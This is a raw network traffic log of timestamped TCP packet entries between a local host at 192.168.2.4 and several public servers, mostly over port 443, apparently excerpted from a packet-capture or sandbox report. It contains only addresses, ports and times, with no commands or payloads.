Jan 15, 2025 13:07:59.758558035 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.758575916 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.758697987 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.758697987 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.758706093 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.767410040 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.767424107 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.767889023 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.767889023 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.767904043 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.772666931 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.772749901 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.772811890 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.772811890 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.772825956 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.773267031 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.822771072 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.822829962 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.822866917 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.822882891 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.822932959 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.822932959 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.822940111 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.822968960 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.822989941 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.830461025 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.830513954 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.830553055 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.830560923 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.830724955 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.837627888 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.837645054 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.837768078 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.837768078 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.837776899 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.837841988 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.838097095 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.838110924 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.838171959 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.838171959 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.838180065 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.838227987 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.838232994 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.838278055 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.838551998 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.838568926 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.844511986 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.844530106 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.844614029 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.844614029 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.844621897 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.852313995 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.852392912 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.852399111 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.852502108 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.852674007 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.875889063 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.875906944 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.926831961 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.926868916 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.926924944 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.927134991 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.927143097 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.932934046 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:07:59.933034897 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:07:59.933109045 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:07:59.933691978 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:07:59.933732033 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.655184031 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.655653000 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:00.655706882 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.656272888 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:00.656632900 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:00.656653881 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:00.657438993 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.657504082 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:00.657546043 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:00.657581091 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:00.658104897 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:00.658113003 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:00.658145905 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:00.658240080 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.658360004 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:00.658363104 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:00.658365011 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:00.658380985 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.709439993 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:00.709446907 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:00.931710005 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.931745052 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.931752920 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.932106018 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:00.932152033 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:00.932301998 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.015388966 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.015415907 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.015459061 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.015507936 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.015507936 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.015522003 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.015585899 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.015613079 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.015640020 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.015640020 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.015865088 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.018852949 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.018898010 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.018951893 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.018965960 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.018999100 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.019197941 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.025928974 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.025988102 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.026021957 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.026036978 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.026087046 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.027441025 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.101855040 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.101995945 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.102943897 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.102987051 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.103029013 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.103043079 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.103082895 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.105801105 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.105853081 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.105900049 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.105916023 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.105963945 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.109914064 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.109954119 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.109997988 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.110016108 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.110064030 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.110114098 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.110124111 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.110291958 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.110292912 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.213465929 CET	443	49738	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:01.213551044 CET	443	49738	142.250.186.164	192.168.2.4
Jan 15, 2025 13:08:01.216717958 CET	49738	443	192.168.2.4	142.250.186.164
Jan 15, 2025 13:08:01.393471956 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.393497944 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.393511057 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.393534899 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.393556118 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.393568039 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.393578053 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.393599987 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.393632889 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.416495085 CET	49755	443	192.168.2.4	18.245.86.62
Jan 15, 2025 13:08:01.416543961 CET	443	49755	18.245.86.62	192.168.2.4
Jan 15, 2025 13:08:01.473452091 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.487212896 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.487231016 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.487304926 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.487306118 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.487319946 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.502146006 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.502171040 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.502222061 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.502229929 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.502263069 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.545218945 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.566050053 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.566059113 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.566092014 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.566119909 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.566124916 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.566169977 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.567908049 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.567986012 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.572727919 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.572794914 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.572799921 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.584703922 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.584724903 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.584783077 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.584790945 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.584819078 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.599586964 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.599606037 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.599642992 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.599649906 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.599684000 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.648523092 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.653553963 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.653565884 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.653583050 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.653604031 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.653613091 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.653616905 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.653629065 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.653650999 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.653683901 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.659750938 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.659769058 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.659816027 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.659821987 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.659845114 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.659863949 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.660222054 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.662409067 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.662425995 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.662461996 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.662467957 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.662497044 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.667195082 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.667228937 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.667247057 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.667252064 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.667298079 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.670279980 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.670336008 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.670340061 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.679510117 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.679527998 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.679553032 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.679588079 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.679594040 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.679642916 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.683593035 CET	49723	80	192.168.2.4	199.232.214.172
Jan 15, 2025 13:08:01.688637018 CET	80	49723	199.232.214.172	192.168.2.4
Jan 15, 2025 13:08:01.688688040 CET	49723	80	192.168.2.4	199.232.214.172
Jan 15, 2025 13:08:01.690599918 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.690618992 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.690670967 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.690676928 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.700841904 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.700861931 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.700918913 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.700925112 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.740845919 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.741055012 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.741072893 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.741111994 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.741117001 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.741163015 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.741494894 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.741550922 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.741554976 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.745779037 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.745795965 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.745827913 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.745834112 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.745866060 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.747728109 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.747745037 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.747796059 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.747801065 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.747837067 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.754975080 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.754992962 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.755039930 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.755047083 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.759984016 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.760015011 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.760041952 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.760049105 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.760082006 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.770917892 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.770939112 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.770977020 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.770982981 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.771014929 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.776587009 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.776619911 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.776634932 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.776645899 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.776669025 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.782067060 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.782124043 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.782130957 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.782166958 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.792270899 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.792325020 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.792357922 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.792362928 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.792399883 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.828916073 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.828979015 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.828984976 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.829018116 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.829061031 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.829066038 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.831142902 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.831183910 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.831203938 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.831213951 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.831243992 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.835088015 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.835138083 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.835143089 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.835155964 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.835171938 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.835211992 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.835215092 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.837946892 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.837985039 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.838010073 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.838016987 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.838051081 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.845647097 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.845686913 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.845712900 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.845721960 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.845753908 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.853086948 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.853121042 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.853140116 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.853143930 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.853173971 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.853190899 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.853235960 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.864177942 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.864219904 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.864237070 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.864248037 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.864274025 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.864289999 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.873447895 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.873490095 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.873517990 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.873524904 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.873559952 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.934072018 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.934118032 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.934164047 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.934176922 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.934226990 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.937068939 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.937113047 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.937150955 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.937158108 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.937171936 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.937772989 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.937810898 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.937834024 CET	49754	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:08:01.937844992 CET	443	49754	3.161.82.101	192.168.2.4
Jan 15, 2025 13:08:01.937870026 CET	49754	443	192.168.2.4	3.161.82.101
